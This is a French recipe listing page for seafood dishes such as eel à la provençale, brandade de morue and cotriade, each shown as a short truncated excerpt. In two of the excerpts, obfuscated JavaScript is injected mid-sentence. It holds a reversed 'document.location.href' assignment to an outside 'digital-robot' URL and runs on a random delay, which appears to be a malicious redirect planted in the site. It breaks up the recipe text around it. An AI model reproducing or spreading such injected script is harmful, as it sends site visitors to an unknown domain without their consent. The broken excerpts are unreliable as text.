Catégorie : Mer

Anguille à la provençale

Catégories : Cuisine:
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Pelez et coupez les tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomates en petits dés. Écrasez ...

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Brandade de morue

Catégories : Cuisine: ,
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Pendant toute une nuit faites dessaler la morue, bien la rincer, dans un grand récipient ...

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Filet de cabillaud à la noix de coco

Catégories : Cuisine: ,
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Faites tremper les filets de cabillaud dans le lait de coco pendant 15 minutes. Dans ...

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Cotriade

Catégories : Cuisine:
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Préparez tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tous ces poissons, les rincer, les couper en ...

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Filets de merlan à la provençale

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Pelez, coupez les aubergines en petits morceaux. Faites chauffer l’huile dans une poêle, et faites ...

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Émincé de bar à la crème

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Préparez le bar en l’enduisant d’huile et de gros sel pendant 35 minutes. Rincez, séchez ...

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Filet de daurade Marquise

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Rincez, séchez les filets, les enrouler dans de la farine, secouez les pour en faire ...

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Dorade safranée aux deux citrons

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Rincez, séchez, la dorade. Pressez la moitié du citron vert et la moitié du citron ...

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Thon aux concombres confits

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Tranchez le thon en fines lamelles, déposez-les dans un plat. Salez, poivrez, recouvrez d’huile d’olive ...

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Limande au vin blanc

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Enlevez la peau de la limande en incisant à la queue. Saisissez la peau avec ...

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